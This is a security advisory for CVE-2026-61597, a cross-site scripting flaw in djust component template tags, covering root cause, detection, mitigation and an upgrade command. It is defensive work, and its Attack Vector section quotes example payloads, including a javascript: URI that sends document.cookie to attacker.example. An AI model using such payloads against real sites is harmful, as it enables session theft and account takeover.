CVE-2026-61597: Djust XSS Vulnerability in Component Tags

CVE-2026-61597 Overview

CVE-2026-61597 is a Cross-Site Scripting (XSS) vulnerability in djust, a library that provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Versions prior to 1.0.7 fail to validate URL schemes when rendering developer-supplied URLs into href and action attributes across many built-in component template tags in djust.components.templatetags.*. Attackers can inject a javascript: URI that executes in the victim's browser session on click. The maintainers released a fix in version 1.0.7.

Critical Impact
An attacker who controls URL values bound to djust component arguments can execute arbitrary JavaScript in a victim's authenticated session, enabling session token theft and account takeover.

Affected Products

djust reactive rendering library for Django, all versions prior to 1.0.7
Django applications using djust.components.templatetags.* built-in component tags
Applications that pass user-controllable URL values into djust component href or action arguments

Discovery Timeline

2026-09-16 - CVE-2026-61597 published to NVD
2026-09-16 - Last updated in NVD database

Technical Details for CVE-2026-61597

Vulnerability Analysis

The flaw is a classic client-side script injection through an unvalidated URL scheme, classified as [CWE-79] Improper Neutralization of Input During Web Page Generation. djust component template tags accept URL strings from developer or user input and render them into anchor href or form action attributes. The tags apply Django's conditional_escape before writing the value into the attribute. HTML escaping neutralizes characters that would break out of the attribute quoting context, such as quotes and angle brackets. It does not, however, block URL schemes that execute script when followed.

A payload of javascript:alert(document.cookie) contains no escapable characters. It passes through conditional_escape unchanged and lands verbatim inside <a href="javascript:alert(document.cookie)">. When a victim clicks the rendered link, the browser executes the JavaScript in the origin's context, exposing session cookies, CSRF tokens, and any DOM-accessible data.

Root Cause

The root cause is missing URL scheme validation in the built-in component template tags. The library assumes HTML escaping is sufficient sanitization for URL-bearing attributes. It never verifies that the supplied URL uses a safe scheme such as http, https, or mailto, so dangerous schemes including javascript:, data:, and vbscript: reach the rendered HTML unfiltered.

Attack Vector

Exploitation requires an authenticated user with the ability to submit URL values that eventually flow to a djust component, and a victim who clicks the rendered link. The attacker submits a value such as javascript:fetch('https://attacker.example/x?c='+document.cookie). The application binds that value to a component argument that renders into an href attribute. Any user who views the page and clicks the link triggers execution of attacker-controlled JavaScript in their browser session.

See the GitHub Security Advisory GHSA-4mf4-73j6-mvrw for maintainer analysis and the v1.0.7 release notes for patch details.

Detection Methods for CVE-2026-61597

Indicators of Compromise

Stored URL fields in application data containing javascript:, data:text/html, or vbscript: scheme prefixes
Outbound requests from user browsers to unfamiliar domains carrying cookie or token values in query strings shortly after visiting pages that render djust components
Web server access logs showing POST or PUT requests where URL parameters begin with non-standard scheme strings

Detection Strategies

Query the application database for URL columns matching a regular expression such as ^\s*(javascript|data|vbscript): to surface stored payloads
Run static analysis across Django templates and Python view code to locate call sites where untrusted input is passed to djust component tags without prior scheme validation
Review Content Security Policy (CSP) violation reports for script-src inline execution attempts originating from anchor clicks

Monitoring Recommendations

Enable browser CSP with script-src directives that prohibit inline execution, and collect violation reports to a monitored endpoint
Log and alert on requests containing cookie material in outbound referrers or query parameters at the web application firewall (WAF)
Track djust package versions in the software bill of materials (SBOM) and alert when any deployed environment runs a version below 1.0.7

How to Mitigate CVE-2026-61597

Immediate Actions Required

Upgrade djust to version 1.0.7 or later in all Django environments that use the library
Audit all call sites of djust.components.templatetags.* component tags for URL arguments sourced from user input
Purge or normalize stored URL records that begin with javascript:, data:, or vbscript: schemes

Patch Information

Version 1.0.7 contains the fix that validates URL schemes before rendering them into href and action attributes. Release details are available in the djust v1.0.7 GitHub release.

Workarounds

Do not pass user-controllable URLs to the affected built-in component tags until the upgrade is applied
Pre-validate URL schemes in application code before binding values to component arguments, allowing only an explicit list such as http, https, and mailto
Deploy a strict Content Security Policy that blocks inline script execution to reduce the impact of any residual injection points

bash

# Upgrade djust to the patched release
pip install --upgrade 'djust>=1.0.7'

# Verify the installed version
python -m pip show djust | grep -i version